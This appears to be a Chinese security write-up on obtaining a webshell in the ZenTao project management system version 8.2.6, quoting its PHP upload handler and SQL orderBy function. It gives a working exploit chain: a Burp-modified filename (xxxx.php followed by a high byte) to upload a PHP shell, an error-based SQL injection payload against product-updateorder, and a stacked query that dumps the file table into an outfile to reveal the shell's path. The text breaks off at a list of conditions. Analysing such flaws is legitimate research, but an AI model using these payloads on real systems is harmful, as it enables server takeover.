> 之前和一个朋友一直在讨论禅道获取webshell的方法,折腾了一天左右,最后还是在命令执行的地方拿到shell的。说来也是惭愧,这两天又研究了一下,又发现了一个低版本getshell的方法,最新版本是不行的,我测试的版本是8.2.6。最新版本9.1是不行的,其它版本未测试。
// D:\wamp\www\zentao826\module\file\control.php
public function ajaxUpload()
{
$file = $this->file->getUpload('imgFile');
$file = $file[0];
if($file)
{
if($file['size'] == 0) die(json_encode(array('error' => 1, 'message' => $this->lang->file->errorFileUpload)));
if(@move_uploaded_file($file['tmpname'], $this->file->savePath . $file['pathname']))
{
/* Compress image for jpg and bmp. */
$file = $this->file->compressImage($file);
$file['addedBy'] = $this->app->user->account;
$file['addedDate'] = helper::today();
unset($file['tmpname']);
$this->dao->insert(TABLE_FILE)->data($file)->exec();
$url = $this->file->webPath . $file['pathname'];
die(json_encode(array('error' => 0, 'url' => $url)));
}
else
{
$error = strip_tags(sprintf($this->lang->file->errorCanNotWrite, $this->file->savePath, $this->file->savePath));
die(json_encode(array('error' => 1, 'message' => $error)));
}
}
}
这里,我们可以用burpsuite
抓包将文件名改为xxxx.php*
,*
可以是{\x80-\x99}
。这样,我们就可以成功上传一个shell,但是die(json_encode(array('result' => 'success', 'message' => $this->lang->saveSuccess)));
会错误而不会返回文件的地址。
> 问题出在oderBy
函数
// D:\wamp\www\zentao826\lib\base\dao\dao.class.php
public function orderBy($order)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
$order = str_replace(array('|', '', '_'), ' ', $order);
/* Add "`" in order string. */
/* When order has limit string. */
$pos = stripos($order, 'limit');
$orders = $pos ? substr($order, 0, $pos) : $order;
$limit = $pos ? substr($order, $pos) : '';
$orders = explode(',', $orders);
foreach($orders as $i => $order)
{
$orderParse = explode(' ', trim($order));
foreach($orderParse as $key => $value)
{
$value = trim($value);
if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;
$field = $value;
/* such as t1.id field. */
if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
/* Ignore order with function e.g. order by length(tag) asc. */
if(strpos($field, '(') === false and strpos($field, '`') === false) $field = "`$field`";
$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;
unset($table);
}
$orders[$i] = join(' ', $orderParse);
}
$order = join(',', $orders) . ' ' . $limit;
$this->sql .= ' ' . DAO::ORDERBY . " $order";
return $this;
}
> 这段代码是有问题的,order
参数经过了一些处理就直接拼接到了SQL查询语句中,但是问题在于,一些处理并没有针对安全处理。不过有下面几点可能会出现问题,具体为什么看看代码就知道了。
order by
之后不能使用union
语句// D:\wamp\www\zentao826\module\product\control.php
public function updateOrder()
{
$idList = explode(',', trim($this->post->products, ','));
$orderBy = $this->post->orderBy;
if(strpos($orderBy, 'order') === false) return false;
$products = $this->dao->select('id,`order`')->from(TABLE_PRODUCT)->where('id')->in($idList)->orderBy($orderBy)->fetchPairs('order', 'id');
foreach($products as $order => $id)
{
$newID = array_shift($idList);
if($id == $newID) continue;
$this->dao->update(TABLE_PRODUCT)->set('`order`')->eq($order)->where('id')->eq($newID)->exec();
}
}
因此我们的payload就是
http://zentao826.me/product-updateorder.html
POST:products=1,2&orderBy=`order`and/**/polygon((select/**/*/**/from(select/**/*/**/from(select/**/user())a)b))%23
虽说可以盲注了,但是你会发现表名、字段名出现了下划线就不能注入了。。。
> 没有下划线的情况,在这里盲注也是很麻烦的,在最上面,我们提到了一个上传点,但是没有办法拿到文件名。但是,如果没有下划线能不能从注入点切入呢?禅道这套系统使用的是PDO操作数据库,记得很久之前做过一道CTF
,当时就是利用PDO可以多语句执行的特性。
因此这里的执行步骤就是:
xxxx.php\x81
file
表中的数据写入到文件中payload如下:
http://zentao826.me/product-updateorder.html
POST:products=1,2&orderBy=`order`;select/**/*/**/from/**/file/**/into/**/outfile/**/'d:/2'#
条件限制: